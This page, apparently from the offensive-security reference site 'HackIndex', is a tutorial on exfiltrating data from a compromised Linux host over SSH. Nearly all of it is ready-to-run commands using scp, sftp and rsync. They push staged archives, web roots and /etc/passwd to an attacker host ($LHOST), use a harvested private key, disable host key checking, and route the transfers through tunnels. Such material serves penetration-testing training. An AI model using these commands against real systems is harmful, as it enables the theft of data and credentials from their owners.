Skip to content
HackIndex logo

HackIndex

Data Exfiltration over SSH and SCP

2 min read Mar 16, 2026

SSH is the cleanest exfiltration channel available on Linux — traffic is encrypted, it blends with legitimate admin activity, and no additional tooling is required beyond the SSH client already present on most systems. If you have SSH credentials or a key and the target can reach your attacker machine on port 22, this is the first method to try.

Stage and compress data before transferring. See Staging and Compressing Data for Exfiltration.

SCP — Single File or Directory

Copy a single file to your attacker machine:

┌──(kali㉿kali)-[~]
└─$ scp /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/

Copy an entire directory recursively:

┌──(kali㉿kali)-[~]
└─$ scp -r /var/www/html/ $USER@$LHOST:/tmp/loot/

Copy using a specific private key if password authentication is disabled:

┌──(kali㉿kali)-[~]
└─$ scp -i /tmp/harvested_key /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/

Suppress host key checking when connecting to a new host:

┌──(kali㉿kali)-[~]
└─$ scp -o StrictHostKeyChecking=no /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/

SCP on a Non-Standard Port

If your SSH listener is not on port 22:

┌──(kali㉿kali)-[~]
└─$ scp -P $LPORT /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/

Note the capital -P for scp versus lowercase -p for ssh.

SFTP

SFTP gives an interactive session for browsing and transferring multiple files:

┌──(kali㉿kali)-[~]
└─$ sftp $USER@$LHOST

Inside the session:

┌──(kali㉿kali)-[~]
└─$ put /dev/shm/.work/archive.tar.gz /tmp/
┌──(kali㉿kali)-[~]
└─$ put /etc/passwd /tmp/
┌──(kali㉿kali)-[~]
└─$ exit

Non-interactive single transfer:

┌──(kali㉿kali)-[~]
└─$ sftp $USER@$LHOST <<EOF
put /dev/shm/.work/archive.tar.gz /tmp/
EOF

rsync

rsync is useful for large or incremental transfers. It only sends changed blocks, which is faster for repeated exfiltration of an evolving dataset.

┌──(kali㉿kali)-[~]
└─$ rsync -avz /var/www/html/ $USER@$LHOST:/tmp/loot/

-a preserves permissions and timestamps, -v verbose, -z compress in transit.

Over a non-standard SSH port:

┌──(kali㉿kali)-[~]
└─$ rsync -avz -e "ssh -p $LPORT" /var/www/html/ $USER@$LHOST:/tmp/loot/

Receiving on Your Attacker Machine

Your attacker machine needs SSH running and accepting connections. On Kali this is typically disabled by default — start it first:

┌──(kali㉿kali)-[~]
└─$ sudo systemctl start ssh

Confirm the service is listening:

┌──(kali㉿kali)-[~]
└─$ ss -tlnp | grep :22

Make sure the receiving directory is writable by the user being used for the transfer.

Transferring Through a Tunnel

If the target cannot reach your attacker machine directly but you have a reverse SSH tunnel or SOCKS proxy established, route scp through it:

┌──(kali㉿kali)-[~]
└─$ scp -o ProxyJump=$USER@$TARGET_IP /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/

Or through a forwarded port:

┌──(kali㉿kali)-[~]
└─$ scp -P $LPORT /dev/shm/.work/archive.tar.gz $USER@127.0.0.1:/tmp/

Where $LPORT is a locally forwarded port pointing back through the tunnel. See SSH Port Forwarding and Tunneling.

References